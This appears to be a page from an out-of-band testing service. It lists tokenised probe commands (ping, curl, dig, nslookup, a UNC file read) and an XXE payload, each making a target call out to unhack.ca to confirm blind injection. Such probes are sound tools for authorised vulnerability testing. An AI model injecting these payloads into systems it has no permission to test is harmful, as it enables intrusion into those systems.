$ ping -c1 -p 00dc2b87cd286c375456d6ed1772b600 unhack.ca
 

$ curl http://unhack.ca/p/dc2b87cd286c375456d6ed1772b6
 

$ dig dc2b87cd286c375456d6ed1772b6 @unhack.ca
 

$ dig dc2b87cd286c375456d6ed1772b6.ns.unhack.ca
 

C:\> nslookup dc2b87cd286c375456d6ed1772b6 unhack.ca
 

C:\> type \\unhack.ca\dc2b87cd286c375456d6ed1772b6\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dc2b87cd286c375456d6ed1772b6">]>
    <foo>&xxe;</foo>